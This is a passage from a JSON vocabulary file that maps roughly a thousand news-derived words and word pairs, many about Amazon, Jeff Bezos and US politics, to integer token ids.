\"sanchez wouldn\": 223280,\n  \"pro life\": 223281,\n  \"jacket debuted\": 223282,\n  \"incurring major\": 223283,\n  \"democrats pick\": 223284,\n  \"laurie levenson\": 223285,\n  \"leaders led\": 223286,\n  \"stridently\": 223287,\n  \"owner ties\": 223288,\n  \"smile charitable\": 223289,\n  \"crime\": 223290,\n  \"newsagency\": 223291,\n  \"merger comcast\": 223292,\n  \"vibrant\": 223293,\n  \"house republican\": 223294,\n  \"credit washington\": 223295,\n  \"modern family\": 223296,\n  \"sex scene\": 223297,\n  \"politically trump\": 223298,\n  \"underground subculture\": 223299,\n  \"county sheriffs\": 223300,\n  \"beijing grapples\": 223301,\n  \"bold\": 223302,\n  \"currency manipulation\": 223303,\n  \"marianne\": 223304,\n  \"180928150901\": 223305,\n  \"newspaper aggressive\": 223306,\n  \"mchugh tells\": 223307,\n  \"relax\": 223308,\n  \"european security\": 223309,\n  \"administrations alike\": 223310,\n  \"time pulitzer\": 223311,\n  \"zellnor myrie\": 223312,\n  \"marked rare\": 223313,\n  \"0cbed4decce7\": 223314,\n  \"started sustainability\": 223315,\n  \"francisco amazon\": 223316,\n  \"action including\": 223317,\n  \"bezos blackmail\": 223318,\n  \"eastern gulf\": 223319,\n  \"jair bolsonaro\": 223320,\n  \"tommie\": 223321,\n  \"saying companies\": 223322,\n  \"stewing\": 223323,\n  \"pollster john\": 223324,\n  \"ballard main\": 223325,\n  \"fda juul\": 223326,\n  \"cairo\": 223327,\n  \"beijing decision\": 223328,\n  \"r4ee v4e\": 223329,\n  \"mccain shown\": 223330,\n  \"analysts doubt\": 223331,\n  \"place sounds\": 223332,\n  \"amazon getty\": 223333,\n  \"epettersson bloomberg\": 223334,\n  \"technologist\": 223335,\n  \"business settings\": 223336,\n  \"anonymous 4chan\": 223337,\n  \"fundamental pillars\": 223338,\n  \"flung\": 223339,\n  \"ubhi drafted\": 223340,\n  \"takes stand\": 223341,\n  \"pigeon meme\": 223342,\n  \"moody turned\": 223343,\n  \"day nick\": 223344,\n  \"article according\": 223345,\n  \"humidity produced\": 223346,\n  \"make money\": 223347,\n  \"antitrust competition\": 223348,\n  \"treats forever\": 223349,\n  \"shipments coming\": 223350,\n  \"clearly couldn\": 223351,\n  \"ludicrous\": 223352,\n  \"court won\": 223353,\n  \"value looted\": 223354,\n  \"etf tr\": 223355,\n  \"cheapskates hired\": 223356,\n  \"result growth\": 223357,\n  \"brief summary\": 223358,\n  \"measure 2018\": 223359,\n  \"memo instructing\": 223360,\n  \"cream canisters\": 223361,\n  \"435 seats\": 223362,\n  \"slamming manufacturing\": 223363,\n  \"aug amazon\": 223364,\n  \"origin foundation\": 223365,\n  \"blackmail recalcitrant\": 223366,\n  \"squawker org\": 223367,\n  \"requesting rate\": 223368,\n  \"miracles\": 223369,\n  \"cab\": 223370,\n  \"class taxpayers\": 223371,\n  \"democratic divide\": 223372,\n  \"freedom award\": 223373,\n  \"nixes fuel\": 223374,\n  \"news chris\": 223375,\n  \"collateral\": 223376,\n  \"increase membership\": 223377,\n  \"sets standards\": 223378,\n  \"conspiracy theories\": 223379,\n  \"numbers showing\": 223380,\n  \"terse\": 223381,\n  \"deliver thrilling\": 223382,\n  \"forms allowing\": 223383,\n  \"fuel suspicion\": 223384,\n  \"clinton tony\": 223385,\n  \"attracted product\": 223386,\n  \"good natured\": 223387,\n  \"nyc ferry\": 223388,\n  \"carries unmistakable\": 223389,\n  \"sans\": 223390,\n  \"stranded robots\": 223391,\n  \"issue saying\": 223392,\n  \"wife announced\": 223393,\n  \"michael manley\": 223394,\n  \"smerconish asked\": 223395,\n  \"usps average\": 223396,\n  \"included federal\": 223397,\n  \"ahead unless\": 223398,\n  \"anticounterfeiting coalition\": 223399,\n  \"small hit\": 223400,\n  \"involved billions\": 223401,\n  \"a4ee d1\": 223402,\n  \"opting\": 223403,\n  \"gap close\": 223404,\n  \"slow recovery\": 223405,\n  \"iduskbn1k6278 source\": 223406,\n  \"potential new\": 223407,\n  \"facing harsh\": 223408,\n  \"alleged faults\": 223409,\n  \"exhibit\": 223410,\n  \"oyinkan\": 223411,\n  \"opinion research\": 223412,\n  \"exact revenge\": 223413,\n  \"trust advocates\": 223414,\n  \"fat tax\": 223415,\n  \"walnut hulls\": 223416,\n  \"topic monopoly\": 223417,\n  \"multi millions\": 223418,\n  \"tells lewis\": 223419,\n  \"icymi china\": 223420,\n  \"revenue relationships\": 223421,\n  \"originations\": 223422,\n  \"hit campaign\": 223423,\n  \"lure thousands\": 223424,\n  \"sector falling\": 223425,\n  \"teeth feel\": 223426,\n  \"fellow covering\": 223427,\n  \"udland\": 223428,\n  \"sanchez wrote\": 223429,\n  \"charter schools\": 223430,\n  \"recruited\": 223431,\n  \"clip shows\": 223432,\n  \"kavanaugh unseated\": 223433,\n  \"womack\": 223434,\n  \"ruthless autofiction\": 223435,\n  \"egyptian exiles\": 223436,\n  \"management consultancy\": 223437,\n  \"402nd\": 223438,\n  \"king subway\": 223439,\n  \"owen college\": 223440,\n  \"picture ibm\": 223441,\n  \"reinvented\": 223442,\n  \"worrisome precedents\": 223443,\n  \"approximately 100\": 223444,\n  \"monopoly company\": 223445,\n  \"case specifically\": 223446,\n  \"stayed steady\": 223447,\n  \"current employee\": 223448,\n  \"edf\": 223449,\n  \"titanic washington\": 223450,\n  \"trump specific\": 223451,\n  \"town meets\": 223452,\n  \"stephanopoulos fired\": 223453,\n  \"class families\": 223454,\n  \"path read\": 223455,\n  \"return h6a\": 223456,\n  \"text woolfolk\": 223457,\n  \"woodbridge\": 223458,\n  \"snarky thrill\": 223459,\n  \"docu series\": 223460,\n  \"misinformed fear\": 223461,\n  \"spotlight amid\": 223462,\n  \"bag briefcase\": 223463,\n  \"warmest\": 223464,\n  \"index follow\": 223465,\n  \"wealthy individuals\": 223466,\n  \"supported liberal\": 223467,\n  \"n2x\": 223468,\n  \"heartening\": 223469,\n  \"n7\": 223470,\n  \"catz white\": 223471,\n  \"confidentiality regarding\": 223472,\n  \"press angrily\": 223473,\n  \"bathing suit\": 223474,\n  \"lifetime ago\": 223475,\n  \"sexual encounter\": 223476,\n  \"expert voices\": 223477,\n  \"nearly trump\": 223478,\n  \"just theater\": 223479,\n  \"specifically linked\": 223480,\n  \"unindicted\": 223481,\n  \"federal insurance\": 223482,\n  \"ladies sue\": 223483,\n  \"takes readers\": 223484,\n  \"crossed antarctica\": 223485,\n  \"dimondstein president\": 223486,\n  \"bombshell puts\": 223487,\n  \"amazon buyout\": 223488,\n  \"redlining complaint\": 223489,\n  \"elections socialist\": 223490,\n  \"fashioned newspaper\": 223491,\n  \"abet\": 223492,\n  \"readiness monitor\": 223493,\n  \"barr delivered\": 223494,\n  \"industry big\": 223495,\n  \"merrill college\": 223496,\n  \"credible explanation\": 223497,\n  \"ebay proxy\": 223498,\n  \"precedents\": 223499,\n  \"make fortune\": 223500,\n  \"soviet union\": 223501,\n  \"america resettle\": 223502,\n  \"product mix\": 223503,\n  \"possible shutdown\": 223504,\n  \"flexner\": 223505,\n  \"reconsidered reuters\": 223506,\n  \"high stakes\": 223507,\n  \"smooth\": 223508,\n  \"future landing\": 223509,\n  \"simply opt\": 223510,\n  \"alexa gadgets\": 223511,\n  \"government chuck\": 223512,\n  \"ore registered\": 223513,\n  \"loneliness\": 223514,\n  \"lingering illness\": 223515,\n  \"know moreabout\": 223516,\n  \"978 1733807302\": 223517,\n  \"girlfriend los\": 223518,\n  \"quarter shares\": 223519,\n  \"selling face\": 223520,\n  \"amounted\": 223521,\n  \"question peterson\": 223522,\n  \"bezos opened\": 223523,\n  \"specific issues\": 223524,\n  \"servers opposition\": 223525,\n  \"obscure authors\": 223526,\n  \"fund businesses\": 223527,\n  \"pouches cnbc\": 223528,\n  \"yelled cried\": 223529,\n  \"bauer herald\": 223530,\n  \"amzn accusing\": 223531,\n  \"address separate\": 223532,\n  \"minimize conflicts\": 223533,\n  \"totally discriminating\": 223534,\n  \"peak stupidity\": 223535,\n  \"incentives maryland\": 223536,\n  \"obsessive single\": 223537,\n  \"stock photo\": 223538,\n  \"andre\": 223539,\n  \"political stripes\": 223540,\n  \"rezoning process\": 223541,\n  \"advocate special\": 223542,\n  \"average declined\": 223543,\n  \"icons sen\": 223544,\n  \"photographer cuts\": 223545,\n  \"jarrett copies\": 223546,\n  \"canceled politico\": 223547,\n  \"congresswoman grace\": 223548,\n  \"mackenzie pursue\": 223549,\n  \"media pecker\": 223550,\n  \"152 points\": 223551,\n  \"dershowitz\": 223552,\n  \"sorts\": 223553,\n  \"rescue worker\": 223554,\n  \"realizing today\": 223555,\n  \"post simply\": 223556,\n  \"texas republicans\": 223557,\n  \"deus ex\": 223558,\n  \"heather\": 223559,\n  \"latest tax\": 223560,\n  \"demise cnbc\": 223561,\n  \"economic future\": 223562,\n  \"loveridge\": 223563,\n  \"fair rate\": 223564,\n  \"amazon financially\": 223565,\n  \"us2 billion\": 223566,\n  \"political folklore\": 223567,\n  \"pushes americans\": 223568,\n  \"nature conservancy\": 223569,\n  \"nose investment\": 223570,\n  \"intelligence options\": 223571,\n  \"yamiche alcindor\": 223572,\n  \"protests amazon\": 223573,\n  \"nevis patriots\": 223574,\n  \"warner closed\": 223575,\n  \"fillers\": 223576,\n  \"retailers appeal\": 223577,\n  \"wilmington\": 223578,\n  \"powerport atom\": 223579,\n  \"conference introducing\": 223580,\n  \"leases seritage\": 223581,\n  \"just weird\": 223582,\n  \"tangled web\": 223583,\n  \"riccardi\": 223584,\n  \"appoints\": 223585,\n  \"biography trumpnation\": 223586,\n  \"winning hq2\": 223587,\n  \"country adventure\": 223588,\n  \"lentil\": 223589,\n  \"sec fines\": 223590,\n  \"widening divide\": 223591,\n  \"fate hinton\": 223592,\n  \"dem talk\": 223593,\n  \"source according\": 223594,\n  \"status 1014138137147211777\": 223595,\n  \"substantially\": 223596,\n  \"hardware hacker\": 223597,\n  \"grade math\": 223598,\n  \"believe netflix\": 223599,\n  \"wages josh\": 223600,\n  \"straightforward journalistic\": 223601,\n  \"decades including\": 223602,\n  \"hello\": 223603,\n  \"untrained\": 223604,\n  \"n7 p7\": 223605,\n  \"deportation cases\": 223606,\n  \"yeah elon\": 223607,\n  \"honorable\": 223608,\n  \"state begins\": 223609,\n  \"summit farmers\": 223610,\n  \"situations develop\": 223611,\n  \"secret region\": 223612,\n  \"news stations\": 223613,\n  \"author talks\": 223614,\n  \"election aljazeera\": 223615,\n  \"twisted trump\": 223616,\n  \"national counterparts\": 223617,\n  \"avoid talking\": 223618,\n  \"scandal chicago\": 223619,\n  \"american lawmakers\": 223620,\n  \"geometry\": 223621,\n  \"satellite\": 223622,\n  \"says threaten\": 223623,\n  \"specific business\": 223624,\n  \"superbly successful\": 223625,\n  \"particularly concerning\": 223626,\n  \"combinator\": 223627,\n  \"renowned architect\": 223628,\n  \"videotape lebeau\": 223629,\n  \"index bezos\": 223630,\n  \"group north\": 223631,\n  \"human beings\": 223632,\n  \"107 billion\": 223633,\n  \"achievements\": 223634,\n  \"beast maxwell\": 223635,\n  \"things subsidies\": 223636,\n  \"prophet\": 223637,\n  \"broadens look\": 223638,\n  \"lower earlier\": 223639,\n  \"amendment nyt\": 223640,\n  \"job trump\": 223641,\n  \"granddaughter\": 223642,\n  \"elber sent\": 223643,\n  \"straight fortunately\": 223644,\n  \"william barr\": 223645,\n  \"held book\": 223646,\n  \"gain\": 223647,\n  \"thrust\": 223648,\n  \"sisnama body\": 223649,\n  \"discover america\": 223650,\n  \"block ads\": 223651,\n  \"t000002771 t000002774\": 223652,\n  \"improve stewardship\": 223653,\n  \"antitrust trump\": 223654,\n  \"criminalization\": 223655,\n  \"bezos climbed\": 223656,\n  \"postal officials\": 223657,\n  \"national policy\": 223658,\n  \"spend 230m\": 223659,\n  \"significant impact\": 223660,\n  \"long expressed\": 223661,\n  \"defendants\": 223662,\n  \"oaks\": 223663,\n  \"hasn returned\": 223664,\n  \"reimbursements\": 223665,\n  \"holdings principal\": 223666,\n  \"fix real\": 223667,\n  \"usually return\": 223668,\n  \"reporting operation\": 223669,\n  \"failed\": 223670,\n  \"potassium hydrochlorothiazide\": 223671,\n  \"aws china\": 223672,\n  \"oversight investigations\": 223673,\n  \"jobs act\": 223674,\n  \"plant near\": 223675,\n  \"rally trump\": 223676,\n  \"piedmont alabama\": 223677,\n  \"traditional retail\": 223678,\n  \"responds publicly\": 223679,\n  \"closest trading\": 223680,\n  \"consultations\": 223681,\n  \"municipal voting\": 223682,\n  \"midday ibm\": 223683,\n  \"linnane\": 223684,\n  \"news football\": 223685,\n  \"reach peak\": 223686,\n  \"quickly repealed\": 223687,\n  \"including suspected\": 223688,\n  \"montana sole\": 223689,\n  \"chrysler ceo\": 223690,\n  \"binge tbc\": 223691,\n  \"prime subscribers\": 223692,\n  \"josh jordan\": 223693,\n  \"post covers\": 223694,\n  \"joint op\": 223695,\n  \"father built\": 223696,\n  \"discrepancy\": 223697,\n  \"city agreed\": 223698,\n  \"default guaranteed\": 223699,\n  \"celebrated american\": 223700,\n  \"assumption apart\": 223701,\n  \"related consumer\": 223702,\n  \"republicans voted\": 223703,\n  \"short 2018\": 223704,\n  \"witchcraft\": 223705,\n  \"business policies\": 223706,\n  \"just pooh\": 223707,\n  \"witnessing unicorn\": 223708,\n  \"emerged wearing\": 223709,\n  \"contact customer\": 223710,\n  \"promised massive\": 223711,\n  \"corrections\": 223712,\n  \"ultimate validation\": 223713,\n  \"suits arsenic\": 223714,\n  \"forum the_donald\": 223715,\n  \"worth paying\": 223716,\n  \"organizational culture\": 223717,\n  \"burgeoning\": 223718,\n  \"stock tips\": 223719,\n  \"wife ann\": 223720,\n  \"false public\": 223721,\n  \"allow powerpoint\": 223722,\n  \"brotherhood\": 223723,\n  \"cost nearly\": 223724,\n  \"policy expert\": 223725,\n  \"sex haze\": 223726,\n  \"law secretary\": 223727,\n  \"000 outlets\": 223728,\n  \"connected world\": 223729,\n  \"growth bartiromo\": 223730,\n  \"unassailable\": 223731,\n  \"years sanders\": 223732,\n  \"political flaps\": 223733,\n  \"value shira\": 223734,\n  \"capitulate\": 223735,\n  \"teva analysts\": 223736,\n  \"drugstore chains\": 223737,\n  \"customer cost\": 223738,\n  \"risk amazon\": 223739,\n  \"don wait\": 223740,\n  \"kb\": 223741,\n  \"explosions ben\": 223742,\n  \"connected audience\": 223743,\n  \"home read\": 223744,\n  \"outrperform bullish\": 223745,\n  \"storm investors\": 223746,\n  \"comfortable holding\": 223747,\n  \"hand amazon\": 223748,\n  \"promised benefits\": 223749,\n  \"stupidest joke\": 223750,\n  \"viable transportation\": 223751,\n  \"situated dominant\": 223752,\n  \"states right\": 223753,\n  \"deepening\": 223754,\n  \"uses change\": 223755,\n  \"modeling predicts\": 223756,\n  \"opponents targeted\": 223757,\n  \"jersey\": 223758,\n  \"overwhelms\": 223759,\n  \"axios hbo\": 223760,\n  \"campus hiring\": 223761,\n  \"charges philip\": 223762,\n  \"inexpensive acquisition\": 223763,\n  \"hirscher locked\": 223764,\n  \"meaningful process\": 223765,\n  \"scrooged\": 223766,\n  \"treatment services\": 223767,\n  \"macroeconomic justification\": 223768,\n  \"president spoke\": 223769,\n  \"humiliation\": 223770,\n  \"massive defense\": 223771,\n  \"attached screenshot\": 223772,\n  \"dnc\": 223773,\n  \"wonderful book\": 223774,\n  \"affect carriers\": 223775,\n  \"road sewer\": 223776,\n  \"pecker daily\": 223777,\n  \"charles evans\": 223778,\n  \"efe\": 223779,\n  \"jeff brownlee\": 223780,\n  \"quick construction\": 223781,\n  \"fla shooter\": 223782,\n  \"ballast\": 223783,\n  \"facts regarding\": 223784,\n  \"alger\": 223785,\n  \"prodded\": 223786,\n  \"digital trackers\": 223787,\n  \"mail express\": 223788,\n  \"strategies mentioned\": 223789,\n  \"target isn\": 223790,\n  \"competitors liberal\": 223791,\n  \"playbook probably\": 223792,\n  \"lately surrounds\": 223793,\n  \"speak critically\": 223794,\n  \"undefined thumbimageelem\": 223795,\n  \"historical amzn\": 223796,\n  \"plus channels\": 223797,\n  \"counter sues\": 223798,\n  \"empt state\": 223799,\n  \"nordstrom\": 223800,\n  \"dna evidence\": 223801,\n  \"doj lawsuit\": 223802,\n  \"post representatives\": 223803,\n  \"message suggests\": 223804,\n  \"work school\": 223805,\n  \"shipping movie\": 223806,\n  \"trump criticism\": 223807,\n  \"trade zones\": 223808,\n  \"reunited months\": 223809,\n  \"adventitious agents\": 223810,\n  \"transatlantic past\": 223811,\n  \"personalize items\": 223812,\n  \"dave limp\": 223813,\n  \"ranching account\": 223814,\n  \"politics richard\": 223815,\n  \"violently reject\": 223816,\n  \"optimal amazon\": 223817,\n  \"gentlemen\": 223818,\n  \"fanhua announced\": 223819,\n  \"q4 2018\": 223820,\n  \"mass shipments\": 223821,\n  \"scheduled testimony\": 223822,\n  \"hoodies\": 223823,\n  \"splc know\": 223824,\n  \"structured saying\": 223825,\n  \"tough says\": 223826,\n  \"announcement\": 223827,\n  \"yorker presents\": 223828,\n  \"true think\": 223829,\n  \"favorite nalgene\": 223830,\n  \"brother michael\": 223831,\n  \"unfinished\": 223832,\n  \"planning\": 223833,\n  \"log error\": 223834,\n  \"heightened\": 223835,\n  \"weinberger pepsico\": 223836,\n  \"russian writer\": 223837,\n  \"taken decidedly\": 223838,\n  \"fastest growing\": 223839,\n  \"ani\": 223840,\n  \"alejandro solalinde\": 223841,\n  \"courtney\": 223842,\n  \"tax critics\": 223843,\n  \"tuition dollars\": 223844,\n  \"anonymous author\": 223845,\n  \"vendor amazon\": 223846,\n  \"alcoholism\": 223847,\n  \"duckworth durbin\": 223848,\n  \"deficient world\": 223849,\n  \"start making\": 223850,\n  \"series film\": 223851,\n  \"schuster presided\": 223852,\n  \"david goodman\": 223853,\n  \"words ami\": 223854,\n  \"studies program\": 223855,\n  \"passed warren\": 223856,\n  \"mike blake\": 223857,\n  \"chen\": 223858,\n  \"buy clothes\": 223859,\n  \"causing rampant\": 223860,\n  \"trump supporting\": 223861,\n  \"curbed\": 223862,\n  \"congress identifying\": 223863,\n  \"jamieson\": 223864,\n  \"local regulations\": 223865,\n  \"cheddar\": 223866,\n  \"chief stockholder\": 223867,\n  \"russian accounts\": 223868,\n  \"transportation district\": 223869,\n  \"tidbits\": 223870,\n  \"office buildings\": 223871,\n  \"possible sale\": 223872,\n  \"usps makes\": 223873,\n  \"strike china\": 223874,\n  \"foreign meddling\": 223875,\n  \"delivery revenue\": 223876,\n  \"aggressive pricing\": 223877,\n  \"wherewithal\": 223878,\n  \"stock watch\": 223879,\n  \"medical examiner\": 223880,\n  \"photo sofie\": 223881,\n  \"refused amazon\": 223882,\n  \"requires defense\": 223883,\n  \"illustrating\": 223884,\n  \"amazon dumbfounded\": 223885,\n  \"aggression\": 223886,\n  \"congressional testimony\": 223887,\n  \"margery\": 223888,\n  \"education immigration\": 223889,\n  \"making firearms\": 223890,\n  \"trump fan\": 223891,\n  \"rainfall\": 223892,\n  \"c8 d8\": 223893,\n  \"global order\": 223894,\n  \"criticisms fall\": 223895,\n  \"losing company\": 223896,\n  \"morgan conference\": 223897,\n  \"compromising circumstances\": 223898,\n  \"enforcement efforts\": 223899,\n  \"worth 400\": 223900,\n  \"palatable\": 223901,\n  \"target add\": 223902,\n  \"1007 medium\": 223903,\n  \"tabloid threats\": 223904,\n  \"scripts holding\": 223905,\n  \"glide path\": 223906,\n  \"assistant confirmed\": 223907,\n  \"disrupt black\": 223908,\n  \"inevitable reuters\": 223909,\n  \"greer yeah\": 223910,\n  \"treats airs\": 223911,\n  \"cultivate ties\": 223912,\n  \"camera appearance\": 223913,\n  \"pennsylvania railroad\": 223914,\n  \"francisco undocumented\": 223915,\n  \"ap search\": 223916,\n  \"year persistent\": 223917,\n  \"parent input\": 223918,\n  \"nationalinterest org\": 223919,\n  \"performs\": 223920,\n  \"amazon rally\": 223921,\n  \"arued\": 223922,\n  \"representing close\": 223923,\n  \"amzn predicted\": 223924,\n  \"trump displeasure\": 223925,\n  \"moved citing\": 223926,\n  \"adoption agency\": 223927,\n  \"netizen suggested\": 223928,\n  \"year repeatedly\": 223929,\n  \"factual errors\": 223930,\n  \"packages billions\": 223931,\n  \"legal monopoly\": 223932,\n  \"rid north\": 223933,\n  \"typeof u9\": 223934,\n  \"citing officials\": 223935,\n  \"friendly federal\": 223936,\n  \"shortchanging\": 223937,\n  \"garage ceiling\": 223938,\n  \"path alice\": 223939,\n  \"potential anti\": 223940,\n  \"express carriers\": 223941,\n  \"hq2 selections\": 223942,\n  \"a266\": 223943,\n  \"vaccines including\": 223944,\n  \"playerid contentid\": 223945,\n  \"stars jeff\": 223946,\n  \"sanchez accused\": 223947,\n  \"billion zuckerberg\": 223948,\n  \"multibillionare ready\": 223949,\n  \"actually hurts\": 223950,\n  \"amazon girl\": 223951,\n  \"widely believed\": 223952,\n  \"kamala\": 223953,\n  \"new team\": 223954,\n  \"services running\": 223955,\n  \"email washington\": 223956,\n  \"republican initiatives\": 223957,\n  \"advisor donnelly\": 223958,\n  \"provide meaningful\": 223959,\n  \"funded bailout\": 223960,\n  \"wage increase\": 223961,\n  \"finds lacking\": 223962,\n  \"business rivals\": 223963,\n  \"book blessed\": 223964,\n  \"negotiate confidential\": 223965,\n  \"offsetting\": 223966,\n  \"ytd gap\": 223967,\n  \"iterative programming\": 223968,\n  \"legislature step\": 223969,\n  \"signature stamps\": 223970,\n  \"tornadoes london\": 223971,\n  \"buzzfeed story\": 223972,\n  \"chris king\": 223973,\n  \"broadcasts abc\": 223974,\n  \"torsten sl\\u00f8k\": 223975,\n  \"jake sherman\": 223976,\n  \"ollstein reports\": 223977,\n  \"een\": 223978,\n  \"biopic\": 223979,\n  \"emailed statements\": 223980,\n  \"brain training\": 223981,\n  \"teenaged\": 223982,\n  \"home truths\": 223983,\n  \"life laura\": 223984,\n  \"auto parts\": 223985,\n  \"comprehensive solution\": 223986,\n  \"dictatorial budget\": 223987,\n  \"josh sandbulte\": 223988,\n  \"discount grocer\": 223989,\n  \"great hand\": 223990,\n  \"private investigators\": 223991,\n  \"pinged jeffries\": 223992,\n  \"sell books\": 223993,\n  \"sec continental\": 223994,\n  \"batali\": 223995,\n  \"brian people\": 223996,\n  \"milestones pioneering\": 223997,\n  \"capitalist structures\": 223998,\n  \"taken keen\": 223999,\n  \"president ire\": 224000,\n  \"doesn support\": 224001,\n  \"waterford\": 224002,\n  \"axios according\": 224003,\n  \"tweeted using\": 224004,\n  \"industry\": 224005,\n  \"elections considering\": 224006,\n  \"delivery fedex\": 224007,\n  \"low pricing\": 224008,\n  \"mtp\": 224009,\n  \"aerospace incumbents\": 224010,\n  \"collection feels\": 224011,\n  \"coons jeff\": 224012,\n  \"simply fact\": 224013,\n  \"really think\": 224014,\n  \"change cnn\": 224015,\n  \"velvet wallpaper\": 224016,\n  \"twinpeaks\": 224017,\n  \"bankrupt bezos\": 224018,\n  \"trump stoked\": 224019,\n  \"turn\": 224020,\n  \"wfaries bloomberg\": 224021,\n  \"contributor donny\": 224022,\n  \"wage pressure\": 224023,\n  \"little chance\": 224024,\n  \"cornucopia\": 224025,\n  \"douglas county\": 224026,\n  \"danrather\": 224027,\n  \"leaky amazon\": 224028,\n  \"trump stooge\": 224029,\n  \"endure\": 224030,\n  \"king ideas\": 224031,\n  \"future engineer\": 224032,\n  \"goitein\": 224033,\n  \"khashoggi post\": 224034,\n  \"threateningly\": 224035,\n  \"direct step\": 224036,\n  \"nextvideoplaytimeout\": 224037,\n  \"arrive don\": 224038,\n  \"elections content\": 224039,\n  \"x0 o2x\": 224040,\n  \"meeting civil\": 224041,\n  \"fdx advsrs\": 224042,\n  \"live free\": 224043,\n  \"usdo\": 224044,\n  \"woods banned\": 224045,\n  \"presenting fewer\": 224046,\n  \"virginia short\": 224047,\n  \"officials resistance\": 224048,\n  \"revenue generated\": 224049,\n  \"blue coat\": 224050,\n  \"possible rate\": 224051,\n  \"debt issue\": 224052,\n  \"huge big\": 224053,\n  \"newest intern\": 224054,\n  \"claimed publishing\": 224055,\n  \"2010 heavily\": 224056,\n  \"marc fisher\": 224057,\n  \"help shift\": 224058,\n  \"councilmembers\": 224059,\n  \"potential rewards\": 224060,\n  \"r4ee h4e\": 224061,\n  \"showtime content\": 224062,\n  \"american progress\": 224063,\n  \"julian\": 224064,\n  \"actual morals\": 224065,\n  \"view according\": 224066,\n  \"guardian eu\": 224067,\n  \"george route\": 224068,\n  \"people accusing\": 224069,\n  \"water urine\": 224070,\n  \"playing tax\": 224071,\n  \"billion disruptor\": 224072,\n  \"specific animal\": 224073,\n  \"knife\": 224074,\n  \"detroit metro\": 224075,\n  \"services mission\": 224076,\n  \"benefits david\": 224077,\n  \"critics argue\": 224078,\n  \"charlotte surely\": 224079,\n  \"pep talk\": 224080,\n  \"lost fortune\": 224081,\n  \"collapse baseball\": 224082,\n  \"disconnect\": 224083,\n  \"opponents took\": 224084,\n  \"free checkout\": 224085,\n  \"fables\": 224086,\n  \"simple just\": 224087,\n  \"chefsgiving airs\": 224088,\n  \"picnic ready\": 224089,\n  \"2016 silicon\": 224090,\n  \"transparency accountability\": 224091,\n  \"constitutionality\": 224092,\n  \"making meaningful\": 224093,\n  \"families including\": 224094,\n  \"accenture 2q\": 224095,\n  \"fraudulent documentation\": 224096,\n  \"called wall\": 224097,\n  \"supernatural powers\": 224098,\n  \"congress allows\": 224099,\n  \"rewards\": 224100,\n  \"democrat jim\": 224101,\n  \"scuttles\": 224102,\n  \"amazon notably\": 224103,\n  \"eliminating north\": 224104,\n  \"chris pratt\": 224105,\n  \"staffers brought\": 224106,\n  \"decent\": 224107,\n  \"barron reported\": 224108,\n  \"story rasing\": 224109,\n  \"adding businesses\": 224110,\n  \"benettons\": 224111,\n  \"billion erased\": 224112,\n  \"officials disparaging\": 224113,\n  \"turnkey\": 224114,\n  \"elections ukip\": 224115,\n  \"visions\": 224116,\n  \"evade radar\": 224117,\n  \"straws\": 224118,\n  \"hudson institute\": 224119,\n  \"aseem prakash\": 224120,\n  \"make blue\": 224121,\n  \"account republicans\": 224122,\n  \"nasdaq exas\": 224123,\n  \"wayward\": 224124,\n  \"error subscribe\": 224125,\n  \"funding stream\": 224126,\n  \"1a\": 224127,\n  \"latest fling\": 224128,\n  \"fellow health\": 224129,\n  \"jfk\": 224130,\n  \"electronic eavesdropping\": 224131,\n  \"maid\": 224132,\n  \"ambitious carbon\": 224133,\n  \"cheapskates storage\": 224134,\n  \"enquirer ef\": 224135,\n  \"contains secret\": 224136,\n  \"colbert wisecracked\": 224137,\n  \"duck congress\": 224138,\n  \"administration worked\": 224139,\n  \"utah designed\": 224140,\n  \"excited honored\": 224141,\n  \"general profile\": 224142,\n  \"warren huge\": 224143,\n  \"wholesale trade\": 224144,\n  \"maximize\": 224145,\n  \"utterly consumed\": 224146,\n  \"watched twitter\": 224147,\n  \"bse\": 224148,\n  \"selling apartments\": 224149,\n  \"board businesses\": 224150,\n  \"site communicate\": 224151,\n  \"bias results\": 224152,\n  \"government customers\": 224153,\n  \"unfortunately dc\": 224154,\n  \"king published\": 224155,\n  \"teaching moment\": 224156,\n  \"thatwe reported\": 224157,\n  \"prosector kym\": 224158,\n  \"million print\": 224159,\n  \"poll published\": 224160,\n  \"noted social\": 224161,\n  \"hipster style\": 224162,\n  \"operative stone\": 224163,\n  \"signees included\": 224164,\n  \"parenthood does\": 224165,\n  \"asks form\": 224166,\n  \"reits\": 224167,\n  \"shane goldmacher\": 224168,\n  \"constrained\": 224169,\n  \"place president\": 224170,\n  \"picture getty\": 224171,\n  \"news straight\": 224172,\n  \"red line\": 224173,\n  \"amzn beat\": 224174,\n  \"heat leading\": 224175,\n  \"signature widely\": 224176,\n  \"jarrett\": 224177,\n  \"pay leading\": 224178,\n  \"begin\": 224179,\n  \"tax savings\": 224180,\n  \"230 000\": 224181,\n  \"military dominance\": 224182,\n  \"boston harbor\": 224183,\n  \"unsustainable financial\": 224184,\n  \"manipulating devices\": 224185,\n  \"eavesdropping apple\": 224186,\n  \"west told\": 224187,\n  \"command\": 224188,\n  \"methylene chloride\": 224189,\n  \"damaging allegations\": 224190,\n  \"bring aws\": 224191,\n  \"including energy\": 224192,\n  \"company work\": 224193,\n  \"coverage displeased\": 224194,\n  \"quarter growth\": 224195,\n  \"listed series\": 224196,\n  \"gemmy industries\": 224197,\n  \"ultimately provide\": 224198,\n  \"film tax\": 224199,\n  \"bowden northwest\": 224200,\n  \"essay\": 224201,\n  \"senator jeff\": 224202,\n  \"honan samantha\": 224203,\n  \"boxes myles\": 224204,\n  \"autos video\": 224205,\n  \"struggling schools\": 224206,\n  \"rec badcustomerexperience\": 224207,\n  \"tip kristin\": 224208,\n  \"swiping\": 224209,\n  \"dollar loses\": 224210,\n  \"goofily stated\": 224211,\n  \"juggernauts continue\": 224212,\n  \"nearly insignificant\": 224213,\n  \"sluggish margins\": 224214,\n  \"memorabilia\": 224215,\n  \"justin theroux\": 224216,\n  \"restaurant maiella\": 224217,\n  \"share descriptiontext\": 224218,\n  \"uncrewed\": 224219,\n  \"literary tradition\": 224220,\n  \"clearer\": 224221,\n  \"roundup gov\": 224222,\n  \"amazon siriously\": 224223,\n  \"poa\": 224224,\n  \"tsorf33\": 224225,\n  \"focused media\": 224226,\n  \"maneuver\": 224227,\n  \"called political\": 224228,\n  \"ge ceo\": 224229,\n  \"parents husband\": 224230,\n  \"war experts\": 224231,\n  \"interestingly following\": 224232,\n  \"walgreens nasdaq\": 224233,\n  \"captured trump\": 224234,\n  \"disarmament north\": 224235,\n  \"space called\": 224236,\n  \"cases dangerous\": 224237,\n  \"wall cable\": 224238,\n  \"order calling\": 224239,\n  \"cnn isembeddable\": 224240,\n  \"board functional\": 224241,\n  \"report seema\": 224242,\n  